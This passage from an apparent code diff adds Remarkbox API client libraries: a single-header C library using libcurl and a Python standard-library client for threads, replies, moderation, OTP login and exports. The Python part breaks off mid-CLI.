rc = run(rb_get_profile(c));
} else if (strcmp(cmd, "help") == 0 || strcmp(cmd, "--help") == 0 ||
strcmp(cmd, "-h") == 0) {
usage(); rc = 0;
} else {
fprintf(stderr, "rb: unknown command '%s'\n\n", cmd);
usage(); rc = 1;
}
rb_client_free(c);
curl_global_cleanup();
return rc;
}

485
remarkbox/api/rb.h Normal file
View file

@ -0,0 +1,485 @@
/*
* rb.h Remarkbox C library (single-header, libcurl only)
*
* Download:
* curl -s https://REMARKBOX/api/v1/clients/c?file=rb.h -o rb.h
*
* Usage as a library:
* // In exactly ONE .c file, before including:
* #define RB_IMPLEMENTATION
* #include "rb.h"
*
* // In all other .c files, just:
* #include "rb.h"
*
* Quick start:
* rb_client_t *c = rb_client_new("https://my.remarkbox.com", NULL);
* rb_response_t r = rb_version(c);
* if (r.ok) printf("%s\n", r.body);
* rb_response_free(&r);
* rb_client_free(c);
*
* Requires: libcurl (link with -lcurl)
* License: Same as Remarkbox
*/
#ifndef RB_H
#define RB_H
#include <stdlib.h>
#include <curl/curl.h>
#define RB_LIB_VERSION "0.1.0"
#define RB_MAX_URI 2048
#define RB_MAX_BODY 1048576 /* 1 MB response limit */
/* ---------------------------------------------------------------------------
* Types
* ------------------------------------------------------------------------- */
typedef struct {
char *base_uri; /* e.g. "https://my.remarkbox.com" */
char *cookie_path; /* path to Netscape cookie jar */
} rb_client_t;
typedef struct {
int ok; /* 1 if HTTP 2xx, 0 otherwise */
long status; /* HTTP status code */
char *body; /* raw JSON response (caller must rb_response_free) */
size_t body_len;
} rb_response_t;
/* ---------------------------------------------------------------------------
* Client lifecycle
* ------------------------------------------------------------------------- */
/* Create a client. cookie_path may be NULL for default
(~/.config/remarkbox/cookies.txt or REMARKBOX_COOKIES). */
rb_client_t *rb_client_new(const char *base_uri, const char *cookie_path);
/* Free a client. */
void rb_client_free(rb_client_t *c);
/* Free response body. */
void rb_response_free(rb_response_t *r);
/* ---------------------------------------------------------------------------
* API methods each returns rb_response_t with raw JSON in body
* ------------------------------------------------------------------------- */
/* Version */
rb_response_t rb_version(rb_client_t *c);
/* Threads */
rb_response_t rb_list_threads(rb_client_t *c, const char *ns);
rb_response_t rb_get_thread(rb_client_t *c, const char *node_id);
rb_response_t rb_search_threads(rb_client_t *c, const char *ns, const char *query);
rb_response_t rb_create_thread(rb_client_t *c, const char *ns, const char *title,
const char *data, const char *anon_name);
/* Replies */
rb_response_t rb_reply(rb_client_t *c, const char *node_id, const char *data,
const char *anon_name);
/* Nodes */
rb_response_t rb_get_node(rb_client_t *c, const char *node_id);
rb_response_t rb_edit_node(rb_client_t *c, const char *node_id, const char *data);
rb_response_t rb_disable_node(rb_client_t *c, const char *node_id);
rb_response_t rb_enable_node(rb_client_t *c, const char *node_id);
rb_response_t rb_approve_node(rb_client_t *c, const char *node_id);
rb_response_t rb_lock_node(rb_client_t *c, const char *node_id);
rb_response_t rb_unlock_node(rb_client_t *c, const char *node_id);
rb_response_t rb_delete_node(rb_client_t *c, const char *node_id);
/* Auth */
rb_response_t rb_login(rb_client_t *c, const char *email);
rb_response_t rb_verify(rb_client_t *c, const char *email, const char *otp);
/* Profile */
rb_response_t rb_get_profile(rb_client_t *c);
/* ---------------------------------------------------------------------------
* Utility
* ------------------------------------------------------------------------- */
/* Pretty-print JSON to stdout. */
void rb_json_pretty(const char *json);
/* Escape a string for use inside a JSON string value.
Writes to out (must be at least out_size bytes). */
void rb_json_escape(const char *s, char *out, size_t out_size);
/* =========================================================================
* IMPLEMENTATION include this in exactly one .c file
* ========================================================================= */
#ifdef RB_IMPLEMENTATION
#include <stdio.h>
#include <string.h>
/* ---------------------------------------------------------------------------
* Internal: response buffer
* ------------------------------------------------------------------------- */
struct rb__buf {
char *data;
size_t len;
size_t cap;
};
static void rb__buf_init(struct rb__buf *b)
{
b->cap = 4096;
b->data = (char *)malloc(b->cap);
b->len = 0;
if (b->data) b->data[0] = '\0';
}
static size_t rb__write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
struct rb__buf *b = (struct rb__buf *)userdata;
size_t bytes = size * nmemb;
if (b->len + bytes + 1 > RB_MAX_BODY)
bytes = RB_MAX_BODY - b->len - 1;
if (b->len + bytes + 1 > b->cap) {
size_t newcap = b->cap * 2;
while (newcap < b->len + bytes + 1) newcap *= 2;
if (newcap > RB_MAX_BODY) newcap = RB_MAX_BODY;
char *tmp = (char *)realloc(b->data, newcap);
if (!tmp) return 0;
b->data = tmp;
b->cap = newcap;
}
memcpy(b->data + b->len, ptr, bytes);
b->len += bytes;
b->data[b->len] = '\0';
return size * nmemb;
}
/* ---------------------------------------------------------------------------
* Internal: default cookie path
* ------------------------------------------------------------------------- */
static const char *rb__default_cookie_path(void)
{
const char *env = getenv("REMARKBOX_COOKIES");
if (env && *env) return env;
static char path[1024];
const char *home = getenv("HOME");
if (!home) home = ".";
snprintf(path, sizeof(path), "%s/.config/remarkbox/cookies.txt", home);
return path;
}
/* ---------------------------------------------------------------------------
* Client lifecycle
* ------------------------------------------------------------------------- */
rb_client_t *rb_client_new(const char *base_uri, const char *cookie_path)
{
rb_client_t *c = (rb_client_t *)calloc(1, sizeof(rb_client_t));
if (!c) return NULL;
/* Strip trailing slash */
size_t len = strlen(base_uri);
while (len > 0 && base_uri[len - 1] == '/') len--;
c->base_uri = (char *)malloc(len + 1);
if (c->base_uri) { memcpy(c->base_uri, base_uri, len); c->base_uri[len] = '\0'; }
const char *cp = cookie_path ? cookie_path : rb__default_cookie_path();
c->cookie_path = (char *)malloc(strlen(cp) + 1);
if (c->cookie_path) strcpy(c->cookie_path, cp);
return c;
}
void rb_client_free(rb_client_t *c)
{
if (!c) return;
free(c->base_uri);
free(c->cookie_path);
free(c);
}
void rb_response_free(rb_response_t *r)
{
free(r->body);
r->body = NULL;
r->body_len = 0;
}
/* ---------------------------------------------------------------------------
* Internal: HTTP request
* ------------------------------------------------------------------------- */
static rb_response_t rb__request(rb_client_t *c, const char *method,
const char *api_path, const char *json_body,
const char *extra_header)
{
rb_response_t result = {0, 0, NULL, 0};
char uri[RB_MAX_URI];
struct rb__buf resp;
snprintf(uri, sizeof(uri), "%s%s", c->base_uri, api_path);
rb__buf_init(&resp);
CURL *curl = curl_easy_init();
if (!curl) {
result.body = (char *)malloc(32);
if (result.body) { strcpy(result.body, "{\"error\":\"curl init failed\"}"); result.body_len = strlen(result.body); }
return result;
}
curl_easy_setopt(curl, CURLOPT_URL, uri);
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, method);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, rb__write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, c->cookie_path);
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, c->cookie_path);
curl_easy_setopt(curl, CURLOPT_USERAGENT, "rb/" RB_LIB_VERSION);
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Accept: application/json");
if (json_body) {
headers = curl_slist_append(headers, "Content-Type: application/json");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_body);
}
if (extra_header)
headers = curl_slist_append(headers, extra_header);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
CURLcode res = curl_easy_perform(curl);
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &result.status);
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
if (res != CURLE_OK) {
free(resp.data);
result.body = (char *)malloc(128);
if (result.body) {
snprintf(result.body, 128, "{\"error\":\"%s\"}", curl_easy_strerror(res));
result.body_len = strlen(result.body);
}
return result;
}
result.ok = (result.status >= 200 && result.status < 400);
result.body = resp.data; /* caller owns this now */
result.body_len = resp.len;
return result;
}
/* ---------------------------------------------------------------------------
* Utility
* ------------------------------------------------------------------------- */
void rb_json_escape(const char *s, char *out, size_t out_size)
{
size_t j = 0;
for (size_t i = 0; s[i] && j + 6 < out_size; i++) {
switch (s[i]) {
case '"': out[j++] = '\\'; out[j++] = '"'; break;
case '\\': out[j++] = '\\'; out[j++] = '\\'; break;
case '\n': out[j++] = '\\'; out[j++] = 'n'; break;
case '\r': out[j++] = '\\'; out[j++] = 'r'; break;
case '\t': out[j++] = '\\'; out[j++] = 't'; break;
default:
if ((unsigned char)s[i] < 0x20)
j += snprintf(out + j, out_size - j, "\\u%04x", (unsigned char)s[i]);
else
out[j++] = s[i];
break;
}
}
out[j] = '\0';
}
void rb_json_pretty(const char *s)
{
int indent = 0, in_string = 0, escaped = 0;
for (; *s; s++) {
if (escaped) { putchar(*s); escaped = 0; continue; }
if (*s == '\\' && in_string) { putchar(*s); escaped = 1; continue; }
if (*s == '"') { in_string = !in_string; putchar(*s); continue; }
if (in_string) { putchar(*s); continue; }
switch (*s) {
case '{': case '[':
putchar(*s); putchar('\n'); indent += 2;
for (int i = 0; i < indent; i++) putchar(' ');
break;
case '}': case ']':
putchar('\n'); indent -= 2; if (indent < 0) indent = 0;
for (int i = 0; i < indent; i++) putchar(' ');
putchar(*s); break;
case ',':
putchar(*s); putchar('\n');
for (int i = 0; i < indent; i++) putchar(' ');
break;
case ':': putchar(*s); putchar(' '); break;
default:
if (*s != ' ' && *s != '\t' && *s != '\n' && *s != '\r')
putchar(*s);
break;
}
}
putchar('\n');
}
/* ---------------------------------------------------------------------------
* Internal: URI encoding helper
* ------------------------------------------------------------------------- */
static void rb__uri_encode(const char *s, char *out, size_t out_size)
{
CURL *curl = curl_easy_init();
if (curl) {
char *enc = curl_easy_escape(curl, s, 0);
if (enc) { snprintf(out, out_size, "%s", enc); curl_free(enc); }
else { snprintf(out, out_size, "%s", s); }
curl_easy_cleanup(curl);
} else {
snprintf(out, out_size, "%s", s);
}
}
/* ---------------------------------------------------------------------------
* API methods
* ------------------------------------------------------------------------- */
rb_response_t rb_version(rb_client_t *c)
{
return rb__request(c, "GET", "/api/v1/version", NULL, NULL);
}
rb_response_t rb_list_threads(rb_client_t *c, const char *ns)
{
char path[RB_MAX_URI], enc[1024];
rb__uri_encode(ns, enc, sizeof(enc));
snprintf(path, sizeof(path), "/api/v1/threads?namespace=%s", enc);
return rb__request(c, "GET", path, NULL, NULL);
}
rb_response_t rb_get_thread(rb_client_t *c, const char *node_id)
{
char path[RB_MAX_URI];
snprintf(path, sizeof(path), "/api/v1/threads/%s", node_id);
return rb__request(c, "GET", path, NULL, NULL);
}
rb_response_t rb_search_threads(rb_client_t *c, const char *ns, const char *query)
{
char path[RB_MAX_URI], enc_ns[512], enc_q[512];
rb__uri_encode(ns, enc_ns, sizeof(enc_ns));
rb__uri_encode(query, enc_q, sizeof(enc_q));
snprintf(path, sizeof(path), "/api/v1/threads/search?namespace=%s&q=%s",
enc_ns, enc_q);
return rb__request(c, "GET", path, NULL, NULL);
}
rb_response_t rb_create_thread(rb_client_t *c, const char *ns, const char *title,
const char *data, const char *anon_name)
{
char body[RB_MAX_BODY];
char ens[2048], etitle[2048], edata[524288], ename[512];
rb_json_escape(ns, ens, sizeof(ens));
rb_json_escape(title, etitle, sizeof(etitle));
rb_json_escape(data, edata, sizeof(edata));
if (anon_name) {
rb_json_escape(anon_name, ename, sizeof(ename));
snprintf(body, sizeof(body),
"{\"namespace\":\"%s\",\"title\":\"%s\",\"data\":\"%s\","
"\"anonymous_name\":\"%s\"}", ens, etitle, edata, ename);
} else {
snprintf(body, sizeof(body),
"{\"namespace\":\"%s\",\"title\":\"%s\",\"data\":\"%s\"}",
ens, etitle, edata);
}
return rb__request(c, "POST", "/api/v1/threads", body, NULL);
}
rb_response_t rb_reply(rb_client_t *c, const char *node_id, const char *data,
const char *anon_name)
{
char path[RB_MAX_URI], body[RB_MAX_BODY];
char edata[524288], ename[512];
rb_json_escape(data, edata, sizeof(edata));
snprintf(path, sizeof(path), "/api/v1/threads/%s/replies", node_id);
if (anon_name) {
rb_json_escape(anon_name, ename, sizeof(ename));
snprintf(body, sizeof(body),
"{\"data\":\"%s\",\"anonymous_name\":\"%s\"}", edata, ename);
} else {
snprintf(body, sizeof(body), "{\"data\":\"%s\"}", edata);
}
return rb__request(c, "POST", path, body, NULL);
}
rb_response_t rb_get_node(rb_client_t *c, const char *node_id)
{
char path[RB_MAX_URI];
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
return rb__request(c, "GET", path, NULL, NULL);
}
rb_response_t rb_edit_node(rb_client_t *c, const char *node_id, const char *data)
{
char path[RB_MAX_URI], body[RB_MAX_BODY], edata[524288];
rb_json_escape(data, edata, sizeof(edata));
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
snprintf(body, sizeof(body), "{\"data\":\"%s\"}", edata);
return rb__request(c, "PATCH", path, body, NULL);
}
static rb_response_t rb__mod_flag(rb_client_t *c, const char *node_id,
const char *field, const char *value)
{
char path[RB_MAX_URI], body[256];
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
snprintf(body, sizeof(body), "{\"%s\":%s}", field, value);
return rb__request(c, "PATCH", path, body, NULL);
}
rb_response_t rb_disable_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "disabled", "true"); }
rb_response_t rb_enable_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "disabled", "false"); }
rb_response_t rb_approve_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "approved", "true"); }
rb_response_t rb_lock_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "locked", "true"); }
rb_response_t rb_unlock_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "locked", "false"); }
rb_response_t rb_delete_node(rb_client_t *c, const char *node_id)
{
char path[RB_MAX_URI];
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
return rb__request(c, "DELETE", path, NULL, NULL);
}
rb_response_t rb_login(rb_client_t *c, const char *email)
{
char body[512], eemail[256];
rb_json_escape(email, eemail, sizeof(eemail));
snprintf(body, sizeof(body), "{\"email\":\"%s\"}", eemail);
return rb__request(c, "POST", "/api/v1/auth/login", body, NULL);
}
rb_response_t rb_verify(rb_client_t *c, const char *email, const char *otp)
{
char body[512], eemail[256], eotp[64];
rb_json_escape(email, eemail, sizeof(eemail));
rb_json_escape(otp, eotp, sizeof(eotp));
snprintf(body, sizeof(body), "{\"email\":\"%s\",\"otp\":\"%s\"}", eemail, eotp);
return rb__request(c, "POST", "/api/v1/auth/verify", body, NULL);
}
rb_response_t rb_get_profile(rb_client_t *c)
{
return rb__request(c, "GET", "/api/v1/user/profile", NULL, NULL);
}
#endif /* RB_IMPLEMENTATION */
#endif /* RB_H */

View file

@ -0,0 +1,732 @@
"""
Remarkbox API Client (Python, stdlib only)
Download:
curl -s https://REMARKBOX/api/v1/clients/python -o remarkbox_client.py
wget -q https://REMARKBOX/api/v1/clients/python -O remarkbox_client.py
Quick start:
from remarkbox_client import RemarkboxClient
client = RemarkboxClient("https://my.remarkbox.com")
# List threads
result = client.list_threads("meta.remarkbox.com")
for thread in result["threads"]:
print(thread["title"])
# Read a thread and its replies
thread = client.get_thread(thread_id)
for reply in thread["replies"]:
print(reply["data"])
# Post anonymously (namespace must allow anonymous)
node = client.create_thread(
namespace="meta.remarkbox.com",
title="Hello from Python",
data="This is a test post.",
anonymous_name="MyBot",
)
# Reply to a thread
reply = client.reply(node["node"]["id"], data="Nice thread!")
# Authenticate via email OTP
client.login("agent@example.com")
# ... check inbox for 6-digit code ...
client.verify("agent@example.com", "123456")
# Now requests are authenticated
thread = client.create_thread(
namespace="meta.remarkbox.com",
title="Verified post",
data="Posted with a session.",
)
# Edit your own post
client.edit_node(thread["node"]["id"], data="Updated content.")
Configuration:
# From arguments (highest priority)
client = RemarkboxClient("https://my.remarkbox.com")
# From environment variables
# REMARKBOX_URL=https://my.remarkbox.com
# REMARKBOX_EMAIL=agent@example.com
client = RemarkboxClient.from_env()
# From config file (~/.config/remarkbox/config.json)
# {"url": "https://my.remarkbox.com", "email": "agent@example.com"}
client = RemarkboxClient.from_config()
Requires: Python 3.6+ (stdlib only, no pip install needed)
License: Same as Remarkbox
"""
import json
import os
import http.cookiejar
import urllib.request
import urllib.error
import urllib.parse
__version__ = "0.1.0"
class RemarkboxError(Exception):
"""Raised when the API returns an error response."""
def __init__(self, status, body):
self.status = status
self.body = body
msg = body.get("error", str(body)) if isinstance(body, dict) else str(body)
super().__init__("HTTP {}: {}".format(status, msg))
class RemarkboxClient:
"""Remarkbox API client. Manages sessions via cookies automatically."""
def __init__(self, url, email=None, cookie_file=None):
"""
Args:
url: Base URL of the Remarkbox instance (e.g. https://my.remarkbox.com)
email: Optional default email for login/verify
cookie_file: Optional path to persist session cookies across runs.
If provided, cookies are loaded on init and saved
after login/verify. Use this to stay logged in.
"""
self.url = url.rstrip("/")
self.email = email
self._cookie_file = cookie_file
if cookie_file:
self._cookie_jar = http.cookiejar.MozillaCookieJar(cookie_file)
if os.path.exists(cookie_file):
self._cookie_jar.load(ignore_discard=True, ignore_expires=True)
else:
self._cookie_jar = http.cookiejar.CookieJar()
self._opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self._cookie_jar)
)
@classmethod
def from_env(cls):
"""Create client from environment variables.
Reads:
REMARKBOX_URL (required)
REMARKBOX_EMAIL (optional)
"""
url = os.environ.get("REMARKBOX_URL")
if not url:
raise RemarkboxError(0, {"error": "REMARKBOX_URL environment variable not set"})
email = os.environ.get("REMARKBOX_EMAIL")
return cls(url, email=email)
@classmethod
def from_config(cls, path=None):
"""Create client from a JSON config file.
Default path: ~/.config/remarkbox/config.json
Config format:
{"url": "https://my.remarkbox.com", "email": "agent@example.com"}
"""
if path is None:
path = os.path.join(
os.path.expanduser("~"), ".config", "remarkbox", "config.json"
)
with open(path) as f:
config = json.load(f)
url = config.get("url")
if not url:
raise RemarkboxError(0, {"error": "url is required in config file"})
return cls(url, email=config.get("email"), cookie_file=config.get("cookie_file"))
def _save_cookies(self):
"""Persist cookies to disk if cookie_file was provided."""
if self._cookie_file and hasattr(self._cookie_jar, "save"):
self._cookie_jar.save(ignore_discard=True, ignore_expires=True)
def _request(self, method, path, body=None, headers=None):
"""Make an HTTP request and return parsed JSON."""
url = self.url + path
data = None
_headers = {}
if body is not None:
data = json.dumps(body).encode("utf-8")
_headers["Content-Type"] = "application/json"
if headers:
_headers.update(headers)
req = urllib.request.Request(url, data=data, headers=_headers, method=method)
try:
resp = self._opener.open(req)
raw = resp.read().decode("utf-8")
try:
return json.loads(raw) if raw else {}
except json.JSONDecodeError:
raise RemarkboxError(resp.status, {"error": "Non-JSON response"})
except urllib.error.HTTPError as e:
raw = e.read().decode("utf-8")
try:
body = json.loads(raw)
except Exception:
body = {"error": raw}
raise RemarkboxError(e.code, body)
# ----- Version -----
def version(self):
"""Get the deployed version (git commit hash).
Returns:
dict with key: version
"""
return self._request("GET", "/api/v1/version")
# ----- Threads -----
def list_threads(self, namespace, page=1):
"""List threads in a namespace.
Args:
namespace: The namespace name (e.g. "meta.remarkbox.com")
page: Page number (default 1)
Returns:
dict with keys: namespace, threads, page, page_size
"""
params = urllib.parse.urlencode({"namespace": namespace, "page": page})
return self._request("GET", "/api/v1/threads?" + params)
def get_thread(self, node_id, limit=None, offset=None):
"""Get a thread and its replies (paginated).
Args:
node_id: UUID of the root thread node
limit: Maximum replies to return (default 100, max 500)
offset: Number of replies to skip (default 0)
Returns:
dict with keys: namespace, thread, replies, total_replies,
page, limit, offset, has_more
"""
params = {}
if limit is not None:
params["limit"] = limit
if offset is not None:
params["offset"] = offset
path = "/api/v1/threads/{}".format(node_id)
if params:
path += "?" + urllib.parse.urlencode(params)
return self._request("GET", path)
def create_thread(self, namespace, title, data, anonymous_name=None, email=None,
source_format=None):
"""Create a new thread.
Args:
namespace: Target namespace name
title: Thread title
data: Content (max 500000 chars)
anonymous_name: Name for anonymous posting (optional)
email: Email to associate with post (optional)
source_format: Input format markdown (default), html, rst,
mediawiki, latex, textile, org, etc. (any pandoc input format)
Returns:
dict with keys: node, verified
"""
body = {"namespace": namespace, "title": title, "data": data}
if anonymous_name:
body["anonymous_name"] = anonymous_name
if email:
body["email"] = email
if source_format:
body["source_format"] = source_format
return self._request("POST", "/api/v1/threads", body)
# ----- Replies -----
def reply(self, node_id, data, anonymous_name=None, email=None, source_format=None):
"""Reply to a thread or another reply.
Args:
node_id: UUID of the parent node (thread or reply)
data: Content (max 500000 chars)
anonymous_name: Name for anonymous posting (optional)
email: Email to associate with post (optional)
source_format: Input format (default: markdown)
Returns:
dict with keys: node, verified
"""
body = {"data": data}
if anonymous_name:
body["anonymous_name"] = anonymous_name
if email:
body["email"] = email
if source_format:
body["source_format"] = source_format
return self._request("POST", "/api/v1/threads/{}/replies".format(node_id), body)
# ----- Nodes -----
def get_node(self, node_id):
"""Get a single node by ID.
Args:
node_id: UUID of the node
Returns:
dict with key: node
"""
return self._request("GET", "/api/v1/nodes/{}".format(node_id))
def edit_node(self, node_id, data=None, title=None, source_format=None):
"""Edit a node (requires authentication).
Args:
node_id: UUID of the node to edit
data: New content (optional)
title: New title, only for root nodes (optional)
source_format: Input format (default: markdown)
Returns:
dict with key: node
"""
body = {}
if data is not None:
body["data"] = data
if title is not None:
body["title"] = title
if source_format is not None:
body["source_format"] = source_format
if not body:
raise ValueError("data or title is required")
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), body)
def disable_node(self, node_id):
"""Disable a node (requires authentication, moderator or owner).
Args:
node_id: UUID of the node to disable
Returns:
dict with key: node
"""
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"disabled": True})
def enable_node(self, node_id):
"""Enable a previously disabled node (requires authentication, moderator or owner).
Args:
node_id: UUID of the node to enable
Returns:
dict with key: node
"""
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"disabled": False})
def approve_node(self, node_id):
"""Approve a node (requires authentication, moderator or owner).
Args:
node_id: UUID of the node to approve
Returns:
dict with key: node
"""
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"approved": True})
def lock_node(self, node_id):
"""Lock a thread (requires authentication, moderator or owner). Root nodes only.
Args:
node_id: UUID of the root node to lock
Returns:
dict with key: node
"""
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"locked": True})
def unlock_node(self, node_id):
"""Unlock a thread (requires authentication, moderator or owner). Root nodes only.
Args:
node_id: UUID of the root node to unlock
Returns:
dict with key: node
"""
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"locked": False})
def delete_node(self, node_id, sudo_otp=None):
"""Delete a node permanently (requires moderator + sudo OTP).
First call without sudo_otp returns 202 and emails a code.
Second call with the code performs the deletion.
Args:
node_id: UUID of the node to delete
sudo_otp: 8-digit confirmation code from email (optional)
Returns:
dict with key: deleted (the node ID), or status/message if OTP required
"""
headers = {}
if sudo_otp:
headers["X-Sudo-OTP"] = sudo_otp
return self._request("DELETE", "/api/v1/nodes/{}".format(node_id), headers=headers)
# ----- Auth -----
def login(self, email=None):
"""Request an OTP code be sent to the email address.
Args:
email: Email address (uses self.email if not provided)
Returns:
dict with keys: status, message
"""
email = email or self.email
if not email:
raise ValueError("email is required")
return self._request("POST", "/api/v1/auth/login", {"email": email})
def verify(self, email=None, otp=None):
"""Verify an OTP code and establish an authenticated session.
After calling this, subsequent requests are authenticated
via the session cookie (managed automatically).
Args:
email: Email address (uses self.email if not provided)
otp: The 6-digit verification code from email
Returns:
dict with keys: status, user
"""
email = email or self.email
if not email:
raise ValueError("email is required")
if not otp:
raise ValueError("otp is required")
result = self._request("POST", "/api/v1/auth/verify", {"email": email, "otp": otp})
self._save_cookies()
return result
# ----- Profile -----
def get_profile(self):
"""Get the current authenticated user's profile.
Returns:
dict with key: user (id, name, email)
"""
return self._request("GET", "/api/v1/user/profile")
def update_profile(self, name):
"""Update the current user's display name.
Args:
name: New display name (alphanumeric and dashes only)
Returns:
dict with key: user (id, name, email)
"""
return self._request("PATCH", "/api/v1/user/profile", {"name": name})
# ----- Export -----
def export_formats(self):
"""List all available export formats.
Returns:
dict with keys: formats (list of strings), count
"""
return self._request("GET", "/api/v1/export/formats")
def export_thread(self, node_id, fmt="markdown"):
"""Export a thread in the specified format.
Args:
node_id: UUID of the root thread node
fmt: Pandoc output format (e.g. markdown, html5, pdf, epub, docx)
Returns:
bytes (binary formats) or str (text formats)
"""
return self._raw_request(
"GET", "/api/v1/export/threads/{}.{}".format(node_id, fmt)
)
def export_namespace(self, namespace, fmt="markdown"):
"""Export an entire namespace as a book in the specified format.
Args:
namespace: Namespace name (e.g. "meta.remarkbox.com")
fmt: Pandoc output format
Returns:
bytes (binary formats) or str (text formats)
"""
return self._raw_request(
"GET", "/api/v1/export/namespace/{}.{}".format(namespace, fmt)
)
def export_node(self, node_id, fmt="markdown"):
"""Export a node and its subtree in the specified format (on-demand).
Args:
node_id: UUID of the node
fmt: Pandoc output format
Returns:
bytes (binary formats) or str (text formats)
"""
return self._raw_request(
"GET", "/api/v1/export/nodes/{}.{}".format(node_id, fmt)
)
def _raw_request(self, method, path):
"""Make an HTTP request and return raw response body."""
url = self.url + path
req = urllib.request.Request(url, method=method)
try:
resp = self._opener.open(req)
content_type = resp.headers.get("Content-Type", "")
body = resp.read()
if "text/" in content_type or "json" in content_type or "xml" in content_type:
return body.decode("utf-8")
return body
except urllib.error.HTTPError as e:
raw = e.read().decode("utf-8")
try:
body = json.loads(raw)
except Exception:
body = {"error": raw}
raise RemarkboxError(e.code, body)
# ----- Wiki / Revisions -----
def wiki_edit(self, node_id, data, source_format=None):
"""Wiki-edit a node (creates revision, any authenticated user if wiki mode).
Args:
node_id: UUID of the node to edit
data: New content
source_format: Input format (default: markdown)
Returns:
dict with key: node
"""
body = {"data": data}
if source_format:
body["source_format"] = source_format
return self._request("POST", "/api/v1/nodes/{}/wiki-edit".format(node_id), body)
def get_revisions(self, node_id):
"""Get revision history for a node.
Args:
node_id: UUID of the node
Returns:
dict with keys: node_id, revisions, count
"""
return self._request("GET", "/api/v1/nodes/{}/revisions".format(node_id))
def get_revision(self, revision_id):
"""Get a specific revision by ID.
Args:
revision_id: UUID of the revision
Returns:
dict with key: revision
"""
return self._request("GET", "/api/v1/revisions/{}".format(revision_id))
def diff_revisions(self, revision_id, other_id):
"""Compare two revisions of the same node via unified diff.
Args:
revision_id: UUID of the first (from) revision
other_id: UUID of the second (to) revision
Returns:
dict with keys: from_revision, to_revision, from_number,
to_number, node_id, diff
"""
return self._request(
"GET", "/api/v1/revisions/{}/diff/{}".format(revision_id, other_id)
)
# ----- Themes -----
def get_theme_css(self, namespace):
"""Get the auto-generated theme CSS for a namespace.
Args:
namespace: Namespace name
Returns:
CSS string
"""
return self._raw_request(
"GET", "/api/v1/themes/{}/css".format(namespace)
)
def get_theme_preview(self, namespace):
"""Get theme palette preview for a namespace.
Args:
namespace: Namespace name
Returns:
dict with keys: namespace, palette, css_url
"""
return self._request(
"GET", "/api/v1/themes/{}/preview".format(namespace)
)
# ----- Admin (superuser only) -----
def admin_list_namespaces(self):
"""List all namespaces (requires superuser).
Returns:
dict with key: namespaces (list of namespace dicts)
"""
return self._request("GET", "/api/v1/admin/namespaces")
def admin_recent_nodes(self, days=7, limit=100):
"""List recent nodes across all namespaces (requires superuser).
Args:
days: Number of days to look back (default 7, max 90)
limit: Max results (default 100, max 500)
Returns:
dict with keys: days, count, nodes
"""
params = urllib.parse.urlencode({"days": days, "limit": limit})
return self._request("GET", "/api/v1/admin/recent-nodes?" + params)
# ----- CLI -----
def main():
"""Simple CLI for quick testing."""
import sys
usage = """Usage: python remarkbox_client.py <url> <command> [args...]
Commands:
threads <namespace> List threads
thread <node_id> Get thread with replies
node <node_id> Get a single node
post <namespace> <title> <data> [name] Create thread (anonymous)
reply <node_id> <data> [name] Reply to thread (anonymous)
disable <node_id> Disable a node (auth required)
enable <node_id> Enable a node (auth required)
approve <node_id> Approve a node (auth required)
lock <node_id> Lock a thread (auth required)
unlock <node_id> Unlock a thread (auth required)
delete <node_id> Delete a node (moderator only)
login <email> Request OTP
verify <email> <otp> Verify OTP
formats List export formats
export-thread <node_id> [format] Export thread (default: markdown)
export-ns <namespace> [format] Export namespace as book
export-node <node_id> [format] Export node subtree
Examples:
python remarkbox_client.py https://my.remarkbox.com threads meta.remarkbox.com
python remarkbox_client.py https://my.remarkbox.com export-ns meta.remarkbox.com epub
python remarkbox_client.py https://my.remarkbox.com export-thread <node_id> pdf
"""
if len(sys.argv) < 3:
print(usage)
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
args = sys.argv[3:]
client = RemarkboxClient(url)
try:
if cmd == "threads" and len(args) >= 1:
result = client.list_threads(args[0])
elif cmd == "thread" and len(args) >= 1:
result = client.get_thread(args[0])
elif cmd == "node" and len(args) >= 1:
result = client.get_node(args[0])
elif cmd == "post" and len(args) >= 3:
name = args[3] if len(args) > 3 else None
result = client.create_thread(args[0], args[1], args[2], anonymous_name=name)
elif cmd == "reply" and len(args) >= 2:
name = args[2] if len(args) > 2 else None
result = client.reply(args[0], args[1], anonymous_name=name)
elif cmd == "disable" and len(args) >= 1:
result = client.disable_node(args[0])
elif cmd == "enable" and len(args) >= 1:
result = client.enable_node(args[0])
elif cmd == "approve" and len(args) >= 1:
result = client.approve_node(args[0])
elif cmd == "lock" and len(args) >= 1:
result = client.lock_node(args[0])
elif cmd == "unlock" and len(args) >= 1:
result = client.unlock_node(args[0])
elif cmd == "delete" and len(args) >= 1:
result = client.delete_node(args[0])
elif cmd == "login" and len(args) >= 1:
result = client.login(args[0])
elif cmd == "verify" and len(args) >= 2:
result = client.verify(args[0], args[1])
elif cmd == "formats":
result = client.export_formats()
elif cmd == "export-thread" and len(args) >= 1:
